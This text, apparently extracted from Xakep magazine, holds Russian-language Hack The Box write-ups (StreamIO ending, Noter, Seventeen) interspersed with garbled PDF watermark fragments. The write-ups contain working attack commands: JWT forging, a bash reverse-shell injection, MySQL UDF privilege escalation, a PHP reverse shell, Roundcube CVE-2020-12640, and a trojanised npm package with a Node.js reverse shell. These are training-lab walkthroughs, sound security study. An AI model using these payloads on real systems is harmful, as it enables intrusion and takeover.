Затем загружаем файлы с результатом в главное приложение BloodHound, помечаем пользователей, которые уже под нашем контролем (Mark as Owned), и выбираем опцию построения путей от таких пользователей (Shortest Path from Owned Principals).

Граф повышения привилегий от пользователя JDgodd

Таким образом, пользователь JDgodd имеет право WriteOwner для группы Core Staff, а пользователи этой группы могут читать пароли LAPS! Привилегия WriteOwner дает нам возможность сменить владельца объекта на пользователя, которого мы контролируем, и тем самым захватить объект. Давай сделаем это с помощью PowerShell.

$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential( 'streamio\JDgodd', $SecPassword)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff"

-principalidentity "streamio\JDgodd"

Теперь, когда мы стали владельцем группы Core Staff, добавим себя в эту группу.

Add-DomainGroupMember -identity "Core Staff" -members "streamio\

JDgodd" -credential $Cred

Готово: наш пользователь может читать пароли LAPS!

LAPS

LAPS позволяет управлять паролями локальных учетных записей компьютеров, присоединенных к домену. Пароли хранятся в Active Directory и защищены ACL, поэтому прочитать их могут только определенные пользователи. LAPS устанавливает разные случайные пароли для учетных записей локальных администраторов на каждом компьютере в домене. Таким образом, мы можем запросить пароль локального администратора системы с помощью скрипта

LAPSDumper.

python3 laps.py -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.

htb -l 10.10.11.158

Получение пароля LAPS

Теперь подключимся с данным паролем как администратор машины.

evil-winrm -u Administrator -p '@v+422k]E;.9B0' -i 10.10.11.158

Флаг рута

И машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЛОМАЕМ ВЕБ-ПРИЛОЖЕНИЕ НА FLASK

В этом райтапе мы обойдем авторизацию в приложении на Flask, затем изучим исходные коды приложения, чтобы найти и проэксплуатировать уязвимость. Для повышения привилегий используем уязвимость установки плагина в MySQL.

RalfHacker hackerralf8@gmail.com

Наша цель — прохождение средней по сложности машины Noter с площадки

Hack The Box.

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.160 noter.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Нашлось три открытых порта:

21 — служба vsftpd 3.0.3;

22 — служба OpenSSH 8.2p1;

5000 — веб-сервер Python Werkzeug 2.0.2.

Анонимный вход на FTP закрыт, с SSH мы ничего не сделаем, поэтому идем смотреть веб.

Главная страница сайта http://noter.htb:5000/

ТОЧКА ВХОДА

На сайте есть возможность регистрироваться и авторизоваться, чем мы обязательно должны воспользоваться.

Главная страница зарегистрированного пользователя

Я всю работу выполняю через Burp, поэтому в идентификаторе сессии пользователя сразу заметил токен JWT.

Запрос на сервер в Burp Pro

JWT

JSON Web Token хранит необходимую информацию о текущем сеансе. В числе прочего в нем содержится HMAC — hash-based message authentication code,

код авторизации на основе хеша. Его-то нам и предстоит подделать. Для работы с JWT будем использовать утилиту Flask-Unsign.

sudo pip3 install Flask==2.1.0 flask_unsign

flask-unsign --decode --cookie

'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.

fDwY2juxacH9LTQV7xx_RyGo8EM'

Получение информации о сеансе

Для создания HMAC требуется секретный ключ. Если мы сумеем восстановить или взломать секретный ключ, то сможем вносить любые изменения в информацию о сеансе. С помощью Flask-Unsign можем попробовать пробрутить секрет.

flask-unsign --wordlist rockyou.txt --unsign --cookie

'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.

fDwY2juxacH9LTQV7xx_RyGo8EM' --no-literal-eval

Получение секретного ключа

Мы получили секретный ключ, а значит, можем записать свои данные в сеанс, в данном случае сменить пользователя. Генерируем сессию, устанавливаем в браузере и обновляем страницу. Я попробовал пользователя admin, но ничего не вышло.

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123' --legacy

Генерирование нового токена

Ошибка авторизации

Скорее всего, такого пользователя не существует, поэтому нужно найти способ определить реальных пользователей. Сайт работает на Flask, к тому же предназначен для хранения заметок, поэтому первым делом я стал искать SSTI (включение шаблонов на стороне сервера) и XSS. Начал с создания заметки.

Создание заметки с нагрузкой

Затем я определил все места, где происходит вывод этого текста, но, к моему сожалению, везде используется экранирование.

Главная страница сайта

Заметки пользователя

Содержимое созданной заметки

Тест нагрузкой для XSS также не увенчался успехом. Тогда я решил посмотреть на механизм авторизации, а именно на сообщения, которые сервер отдаст в разных ситуациях. Иногда в таких случаях помогает определять время, которое затрачивается на проверку правильных и неправильных учетных данных. Но так далеко идти оказалось не нужно: сообщения для существующего и несуществующего пользователя оказались разными.

Ответ сервера для несуществующего аккаунта

Ответ сервера для существующего аккаунта

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

ЛОМАЕМ ВЕБ-ПРИЛОЖЕНИЕ НА FLASK

ТОЧКА ОПОРЫ

Вооружаемся Burp Intrueder и принимаемся за перебор.

Перекидываем запрос в Burp (Ctrl-I, Ctrl-Shift-I) и отмечаем для перебора логин.

Burp Intruder — вкладка Position

Список имен пользователей берем из набора SecLists.

Burp Intruder — вкладка Payloads

Устанавливаем 256 потоков (можно и больше).

Burp Intruder — вкладка Resource Pool

В результирующую таблицу добавим еще один столбец, куда будет попадать сообщение об ошибке.

Для этого на вкладке Options перейдем к параметру Grep → Extract, найдем в ответе сервера сообщение об ошибке и установим флажок Extract from regex group.

Burp Intruder — вкладка Options

Запускаем перебор и вскоре находим пользователя blue.

Burp Intruder — вкладка Results

Теперь мы можем сгенерировать токен для найденного пользователя.

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123' --legacy

Генерирование токена

Применяем токен, обновляем страницу и получаем сессию целевого пользователя на сайте.

Главная страница пользователя Blue

Сразу просмотрим записи пользователя.

Заметки пользователя

В одной заметке мы находим учетные данные пользователя blue для службы FTP и имя еще одного пользователя — ftp_admin. Вторая заметка особого интереса не представляет.

Заметка 1

Заметка 2

Подключаемся к службе FTP с найденным паролем и просматриваем файлы.

Подключение к FTP

Там всего один документ PDF, забираем его.

Загрузка файла policy.pdf

В PDF описана парольная политика. Нас интересует пункт 4 в графе Password Creation.

Содержимое файла policy.pdf

Таким образом, пароль формируется по маске:

[username]@[sitename]!

По аналогии с паролем blue@Noter! для пользователя blue мы можем составить пароль для пользователя ftp_admin — ftp_admin@Noter!.

Подключение к FTP

Подключившись c составленными учетными данными, получаем еще два файла бэкапов.

ПРОДВИЖЕНИЕ

Просматриваем исходные коды из бэкапов. В одном находим учетные данные для подключения к базе данных, а из второго раскрываем новые точки входа.

Учетные данные для подключения к базе данных

Так, через страницу /export_note_remote можно выполнить команду в командной оболочке /bin/bash. Команда формируется с использованием нашего пользовательского ввода, а именно содержимого заметки.

Исходный код обработчика export_note_remote

Эта страница принимает URL-адрес, на котором должна хоститься заметка. Поместим файл с реверс-шеллом на своем сервере. При этом мы должны пройти шаблон, закрыть выполняемую команду node и только потом выполнить бэкконнект.

--'; bash -i >& /dev/tcp/10.10.14.81/4321 0>&1; echo'--

Экспорт заметки

И на открытый листенер (запущенный командой rlwrap nc -lvnp 4321) мы получим бэкконнект.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы имеем учетные данные к MySQL, причем для привилегированного пользователя root. Но чтобы удобно работать с MySQL, нам нужно создать нормальную TTY-оболочку. Самый простой способ сделать это — использовать модуль pty для Python.

python3 -c "import pty; pty.spawn('/bin/bash')"

А теперь можем подключиться к базе.

mysql -h localhost -u root -pNildogg36

Подключение к СУБД MySQL

Так как мы работаем от имени рута, в продвижении нам поможет создание пользовательской функции MySQL. Если скомпилировать такую функцию в виде библиотеки, то ее можно будет вызывать как встроенную. Мы создадим функцию, которая будет вызывать команды операционной системы. Они выполнятся с теми же привилегиями, что и работающая служба, то есть в данном случае от имени root.

Первое, что стоит проверить, — это включена ли переменная secure_file_priv. Она позволит нам разрешить операции импорта и экспорта данных — такие как функции load_file и load_data.

show variables like '%secure_file_priv%';

Получение переменной secure_ le_priv

Значение равно null, то есть переменная отключена, и мы можем загрузить данные в базу. Теперь нужно получить системный каталог с плагинами MySQL. Именно в него нам и нужно будет добавить библиотеку.

show variables like '%plugin%';

Получение каталога с плагинами

В качестве библиотеки используем готовый код, который нужно будет скомпилировать.

wget https://www.exploit-db.com/raw/1518 -O 1518.c

gcc -g -c 1518.c

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o

Затем загружаем этот эксплоит на удаленный хост и с помощью MySQL копируем его в каталог с плагинами.

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/ mariadb19/plugin/raptor_udf2.so';

Теперь создадим пользовательскую функцию do_system. И сразу проверим, доступна ли она в MySQL.

create function do_system returns integer soname 'raptor_udf2.so';

select * from mysql.func;

Проверка созданной пользовательской функции

Теперь мы можем выполнять команды в привилегированном контексте. В качестве метода персистентности установим бит SUID файлу командной оболочки /bin/bash.

select do_system('chmod u+s /bin/bash');

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из-за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

Выполнение команды

Команда успешно выполнена, а значит, мы можем запустить Bash в привилегированном контексте и забрать флаг рута.

Флаг рута

Машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПОДМЕНЯЕМ ПАКЕТ NPM ДЛЯ ЗАХВАТА ХОСТА

В этом райтапе я покажу, как создать свой реестр NPM и разместить с ним вредоносный пакет для захвата удаленной машины. Но начнем мы с SQL-инъекции, а затем заюзаем известную RCE для повышения привилегий.

RalfHacker hackerralf8@gmail.com

Наша цель — захват машины Seventeen с тренировочной площадки Hack The Box. Задание оценено как сложное.

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.165 seventeen.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Видим три открытых порта:

22 — служба OpenSSH 7.6p1;

80 — веб-сервер Apache 2.4.29;

8000 — веб-сервер Apache 2.4.38.

Нам доступно сразу два веб-сервера, с которых и начнем пробивать периметр.

Главная страница сайта

Осмотревшись на сайте, находим подтверждение тому, что в самом начале выбрали верное доменное имя.

Лендинг

Больше ничего интересного нет, поэтому перейдем к активному сканированию.

ТОЧКА ВХОДА

Итак, я попробую поискать скрытые файлы и каталоги. Делать это я буду при помощи сканера ffuf.

Одно из первых действий при тестировании безопасности веб-приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.

Я предпочитаю легкий и очень быстрый uf. При запуске указываем следующие параметры:

-w — словарь (я использую словари из набора SecLists);

-t — количество потоков;

-u — URL;

-fc — исключить из результата ответы с кодом 403.

ffuf -u 'http://seventeen.htb/FUZZ' -t 256 -w directory_2.3_

medium_lowercase.txt

Результат сканирования каталогов с помощью uf

Сканирование каталогов ничего интересного не дало. Других HTML-страниц тоже не нашлось. Остается просканировать поддомены. В этом случае мы будем перебирать заголовок Host в параметре -H. Так как все ответы будут вести на основной домен, можем их отфильтровать по размеру страницы в параметре --fs.

ffuf -u 'http://seventeen.htb/' -t 256 -w subdomains-top1million-

110000.txt -H 'Host: FUZZ.seventeen.htb' --fs 20689

Результат сканирования поддоменов

Находим один поддомен, запись для которого добавляем в /etc/hosts.

10.10.11.165 seventeen.htb exam.seventeen.htb

Главная страница сайта exam.seventeen.htb

Exam Reviewer Management System

На сайте нас встречает Exam Reviewer Management System, для которой мы легко находим публичный эксплоит в базе Exploit-DB. Это SQL-инъекция.

Описание способа эксплуатации

Нам предоставляют готовую нагрузку, которой непременно стоит воспользоваться. Первым делом запустим sqlmap.

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --level 3

Рабочая нагрузка для эксплуатации

Sqlmap нашел нагрузку, теперь получим базы данных (параметр --dbs).

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --dbs --level 3

Базы данных

Отмечаем для себя, что на сервере используются и другие платформы, включая Roundcube. Начнем с первой базы, получим таблицы (параметр --tables) из базы db_sfms (параметр -D).

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -D db_

sfms --tables

Таблицы в базе db_sfms

Давай сдампим (параметр --dump) таблицы user и student (параметр -T). Для быстроты используем десять потоков (параметр --threads).

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D db_sfms -T user --dump

Содержимое таблицы user

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D db_sfms -T student --dump

Содержимое таблицы student

Получили много хешей, что не может не радовать. Теперь перейдем к базе erms_db и по привычному сценарию сначала узнаем таблицы.

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D erms_db --tables

Таблицы в базе erms_db

Из этой базы тоже сдампим пользователей.

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D erms_db -T users --dump

Содержимое таблицы user

Кроме хешей, мы раскрываем каталог с аватарами, а это неизвестная до данного момента директория на веб-сервере — /oldmanagement! Из Roundcube ничего не получаем, поэтому с помощью онлайновой базы крякаем хеши.

Взлом хешей

Получаем один пароль, с которым попробуем пойти на найденный сайт —

School File Management System.

Сайт seventeen.htb:8000/oldmanagement

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

ПОДМЕНЯЕМ ПАКЕТ NPM ДЛЯ ЗАХВАТА ХОСТА

ТОЧКА ОПОРЫ

После авторизации видим загруженный файл, который мы, конечно же, скачаем.

Профиль пользователя Kelly

Немного почитав про эту систему, я узнал о возможности загрузить и выполнить файл на PHP. Файл будет расположен в каталоге /files/31234/. В качестве реверс-шелла загружаем простой скрипт:

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.16/4321 0>&1'"

); ?>

Список загруженных файлов

Обращаемся к нашему скрипту по следующему адресу:

http://seventeen.htb:8000/oldmanagement/files/31234/reverse.php

И получаем ответ, что доступ закрыт. Загрузить скрипт в какой-нибудь другой каталог, используя обход путей, тоже не вышло.

Ошибка при обращении к реверс-шеллу

Вернемся к скачанному файлу, ведь там может быть какая-то ценная информация. И находим в нем еще один сайт.

Содержимое скачанного документа

Добавляем домен в файл /etc/hosts. Так как порт 443 закрыт, пойдем на 8000. Доступ к корневому каталогу запрещен, зато страница mastermailer существует, и там нас встречает Roundcube.

Панель авторизации

Никакие учетные данные не подходят, тогда просмотрим версию почтового клиента. Ее возьмем из файла /CHANGELOG.

Результат сканирования каталогов

Номер версии нашли, значит, можно искать готовые эксплоиты.

Для Roundcube Webmail 1.4.2 нашлась CVE-2020-12640. Это включение про-

извольных локальных файлов PHP. А в сочетании с тем, что мы можем загрузить файл через другую CMS, это даст нам удаленное выполнение кода!

CVE-2020-12640

На GitHub удалось даже найти PoC. При этом нам доступен каталог installer.

Страница installer

Нам нужно перейти к опции Create con g и выполнить запрос на обновление настроек, который мы перехватываем в Burp Proxy.

Запрос на обновление настроек

В PoC используется несуществующий параметр _plugins_qwerty, который указывает произвольный каталог. Я обратил внимание на то, что рядом с этим каталогом расположен файл PHP с тем же названием. Поэтому попробуем просканировать каталоги в директории, в которые попадают загружаемые файлы.

ffuf -u 'http://seventeen.htb:8000/oldmanagement/files/31234/FUZZ'

-w directory_2.3_medium_lowercase.txt -t 256

Результат сканирования каталогов

Находим каталог papers, поэтому загрузим реверс-шелл с названием papers. php. Затем используем строку параметров из PoC, заменяя ею оригинальный запрос.

_step=2&_product_name=Seventeen+Webmail&_plugins_qwerty=

../../../../../../../../../var/www/html/oldmanagement/files/31234/

papers&submit=UPDATE+CONFIG

Новый запрос

И на наш листенер (я использую pwncat-cs) получаем бэкконнект.

Новая сессия pwncat-cs

ПРОДВИЖЕНИЕ Docker to Host

По названию хоста можно понять, что мы попали в докер. Так как на веб-сер- вере крутится несколько систем, мы можем получить учетные данные. Хотя бы из файлов для подключения к базам данных.

Содержимое файла dbh.php

Получаем пароль, который нужно попробовать использовать для разных служб, к примеру SSH. Имя пользователя узнаем из файла /etc/passwd.

Системный пользователь

Подключаемся по SSH с найденными учетными данными и забираем пользовательский флаг.

Флаг пользователя

Пользователь Kali

Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию, поэтому расчехляем скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.

С помощью скрипта находим входящие сообщения пользователя kavi.

Входящие сообщения пользователя kavi

Читаем и отмечаем для себя информацию о локальном репозитории пакетов

NPM.

Содержимое входящего сообщения

Если это локальный репозиторий, то проверим открытые порты, нас интересует порт 4873.

Прослушиваемые порты

Нужный нам порт открыт, и этот адрес должен быть указан в файле .npmrc.

Содержимое файла .npmrc

Так как в сообщении упоминался «старый логгер», попробуем найти в реестре что-то с этим связанное.

npm search log --registry http://127.0.0.1:4873

Найденные пакеты

Доступен пакет db-logger. Это интересно, так как если файл работает с базой данных, то он должен содержать учетные данные.

Установим пакет из локального реестра.

npm install db-logger --registry http://127.0.0.1:4873

Установка пакета db-logger

А теперь просмотрим содержимое файла.

Содержимое файла logger.js

Находим еще один пароль, который позволяет получить новую сессию, уже от имени пользователя kavi.

Сессия пользователя kavi

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Одно из первых мест, которые нужно проверить при повышении привилегий, — настройки sudoers. Получить их можно командой sudo -l.

Настройки sudoers

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.

Узнаем, что мы можем выполнить команду /opt/app/startup.sh без ввода пароля в привилегированном контексте. Запустим этот скрипт и посмотрим, что произойдет.

Запуск найденного скрипта

По логам мы можем определить, что скрипт проверяет установленные пакеты NPM, а если такого пакета нет, то происходит его поиск и установка. Если проверить каталог /opt/app/ до запуска и после, можем заметить, что там появляется нужный пакет loglevel.

Проверка каталога /opt/app/

В этом каталоге интересен файл index, где находим требование пакета loglevel.

Содержимое файла /opt/app/index.js

Тут появилась идея подменить loglevel, внедрив в него реверс-шелл. Но как я ни пытался локально это сделать, ничего не получилось. Но есть и другой путь! Дело в том, что менеджер пакетов NPM всегда проверяет адрес удаленного репозитория в файле .npmrc.

Давай укажем в качестве удаленного репозитория свой хост, а потом развернем локальный поставщик пакетов.

echo "registry=http://10.10.14.16:4873/" > ~/.npmrc

Для поставки пакетов будем использовать утилиту verdaccio.

sudo npm install -g verdaccio

verdaccio -l 10.10.14.16:4873

Запуск verdaccio

Программа запущена, отображает логи, поэтому мы можем перейти к следующему шагу и создать пользователя.

npm adduser --registry http://0.0.0.0:4873/

Создание пользователя verdaccio

Теперь скачаем пакет loglevel с GitHub, перейдем в каталог пакета и попробуем его опубликовать. Как правило, мы получаем на этом этапе ошибку.

git clone https://github.com/pimterry/loglevel.git

npm publish --registry http://10.10.14.16:4873/

Публикация пакета loglevel

Для решения этой проблемы нам нужно просто убрать пакет с публикации и опубликовать заново.

npm unpublish --registry http://10.10.14.16:4873/ --force

Удаление опубликованного пакета

Перед повторной публикацией давай запишем реверс-шелл на Node.js

в основные файлы loglevel: ./lib/loglevel.js и ./dist/loglevel.js.

(function(){

var net = require("net"),

cp = require("child_process"), sh = cp.spawn("bash", []);

var client = new net.Socket(); client.connect(4321, "10.10.14.16", function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; // Prevents the Node.js application from crashing })();

А теперь публикуем пакет заново. После публикации мы можем перейти по указанному адресу и проверить опубликованные пакеты.

npm publish --registry http://10.10.14.16:4873/

Публикация пакета loglevel

Опубликованные пакеты

Теперь вернемся на удаленный хост и снова выполним команду sudo /opt/ app/startup.sh. В логах verdaccio обнаружим обращение к пакетам loglevel и mysql, а затем в окне листенера получим бэкконнект.

Логи сервера verdaccio

Флаг рута

У нас есть рутовый шелл, а значит, машина захвачена!

Соседние файлы в папке журнал хакер